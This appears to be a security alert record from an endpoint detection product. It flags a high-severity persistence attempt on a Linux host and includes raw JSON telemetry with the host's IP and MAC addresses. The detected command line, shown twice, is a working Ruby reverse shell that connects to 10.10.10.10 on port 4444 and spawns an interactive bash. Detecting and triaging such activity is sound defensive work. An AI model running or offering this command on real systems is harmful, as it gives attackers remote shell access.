Alert Information
High
- Alert ID
ind:f04562e41eb24f95911339a2dfa4d617:1765802107204373618-30106-2008592- Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:f04562e41eb24f95911339a2dfa4d617:1765802107204373618-30106-2008592- 설명
- The activity appears to be related to an adversary establishing persistence. The host may already be compromised and the activity should be investigated further to find the source.
- 호스트
- inbridge-40
- 상태
- new
- 생성 시간
- 2025-12-15 21:36:09
- 업데이트 시간
- 2025-12-15 22:35:09
MITRE ATT&CK
- Tactic
- Persistence
- Technique
- External Remote Services
Command Line
bash -c timeout 2 ruby -rsocket -e 'f=TCPSocket.open("10.10.10.10",4444).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'
Raw JSON Data
{"id":"ind:f04562e41eb24f95911339a2dfa4d617:1765802107204373618-30106-2008592","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:f04562e41eb24f95911339a2dfa4d617:1765802107204373618-30106-2008592","agent_id":"f04562e41eb24f95911339a2dfa4d617","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"The activity appears to be related to an adversary establishing persistence. The host may already be compromised and the activity should be investigated further to find the source.","severity":70,"severity_name":"High","confidence":80,"tactic":"Persistence","tactic_id":"TA0003","technique":"External Remote Services","technique_id":"T1133","cmdline":"bash -c timeout 2 ruby -rsocket -e \u0027f=TCPSocket.open(\u002210.10.10.10\u0022,4444).to_i;exec sprintf(\u0022/bin/bash -i \u003C\u0026%d \u003E\u0026%d 2\u003E\u0026%d\u0022,f,f,f)\u0027","filename":"bash","filepath":"/usr/bin/bash","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","status":"new","type":"ldt","created_timestamp":"2025-12-15T12:36:09.587156604Z","updated_timestamp":"2025-12-15T13:35:09.548389637Z","device":{"device_id":"f04562e41eb24f95911339a2dfa4d617","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.18410.0","hostname":"inbridge-40","local_ip":"10.24.11.214","external_ip":"211.198.135.5","mac_address":"00-0c-29-31-3f-de","platform_name":"Linux","os_version":"Ubuntu 24.04"},"aggregate_id":"aggind:f04562e41eb24f95911339a2dfa4d617:8676940177","CreatedAt":"2025-12-15T21:36:09.5871566+09:00","UpdatedAt":"2025-12-15T22:35:09.5483896+09:00"}
Quick Info
- Severity High
- Score 70
-
Agent ID
f04562e41eb24f95911339a2dfa4d617
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